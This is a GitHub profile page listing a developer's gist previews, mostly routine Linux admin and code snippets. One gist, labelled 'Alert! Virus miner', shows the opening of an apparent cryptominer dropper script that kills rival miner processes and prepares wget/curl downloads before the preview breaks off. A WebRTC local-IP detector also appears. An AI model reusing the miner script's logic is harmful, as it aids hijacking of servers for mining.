Skip to content

Instantly share code, notes, and snippets.

View nqxcode's full-sized avatar
:octocat:
Working...

Andrey Pokoev nqxcode

:octocat:
Working...
  • Tula
View GitHub Profile
@nqxcode
nqxcode / Linux commands for administrators.md
Last active January 25, 2021 11:19
Linux commands for administrators

Тестирование конфигураций веб-серверов

Тестирование конфигураций Apache:

/usr/sbin/apachectl configtest

Тестирование конфигураций Nginx:

nginx -t

@nqxcode
nqxcode / flipMatrix.js
Created March 14, 2019 21:01
Javascript flipMatrix
function flipMatrix(matrix) {
return matrix[0].map(function(column, index) {
return matrix.map(function(row) {
return row[index];
});
});
}
@nqxcode
nqxcode / cr2.sh
Created March 28, 2019 11:18
Alert! Virus miner
#!/bin/sh
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
pkill -f zer0day.ru
WGET="wget -O"
if [ -s /usr/bin/curl ];
description "Run backups for external versions of sites"
author "Andrey Pokoev"
start on filesystem or runlevel [2345]
stop on shutdown
respawn
script
exec sudo -u andrey /usr/bin/php /home/andrey/work/php/web/list-site/artisan app:backup
#!/bin/bash
# myapp daemon
# chkconfig: 345 20 80
# description: myapp daemon
# processname: myapp
DAEMON_PATH="/home/wes/Development/projects/myapp"
DAEMON=myapp
DAEMONOPTS="-my opts"
@nqxcode
nqxcode / local-ip-detector.js
Created July 31, 2019 20:31
local ip detector
// Example (using the function below).
getLocalIPs(function(ips) { // <!-- ips is an array of local IP addresses.
document.body.textContent = 'Local IP addresses:\n ' + ips.join('\n ');
});
function getLocalIPs(callback) {
var ips = [];
var RTCPeerConnection = window.RTCPeerConnection ||
window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
@nqxcode
nqxcode / abstract_xml_reading_example.php
Last active August 5, 2019 08:29
Abstract Xml Reader example
<?php
/***
*
* Примерные классы для обобщения функционала чтения из xml.
*
*/
interface OfferCollectionInterface
{
public function getSomething();
@nqxcode
nqxcode / vncserverd.service
Last active March 27, 2020 07:54
Пример сервиса systemd
[Unit]
Description=Start vnc server at startup
After=network.target
[Service]
Type=forking
User=diol
Group=diol
OOMScoreAdjust=-500
WorkingDirectory=/home/diol
@nqxcode
nqxcode / vino-server.sh
Created March 27, 2020 10:02 — forked from ralic/vino-server.sh
vino-server start/stop/status script , run it under the logged-in user
#!/bin/bash
### BEGIN INIT INFO
# Provides: vino-server
# Required-Start: $local_fs
# Required-Stop: $local_fs
# Should-Start:
# Should-Stop:
# X-Start-Before:
# X-Stop-After:
@nqxcode
nqxcode / socks_tunnel
Last active April 22, 2020 23:29
OpenWrt 19.07.2 daemon to create socks tunnels via ssh
#!/bin/bash
# /root/bin/socks_tunnel
trap "stop" SIGTERM SIGINT
if [[ -z $1 ]]; then
echo 'Please, specify server...'
exit 1
fi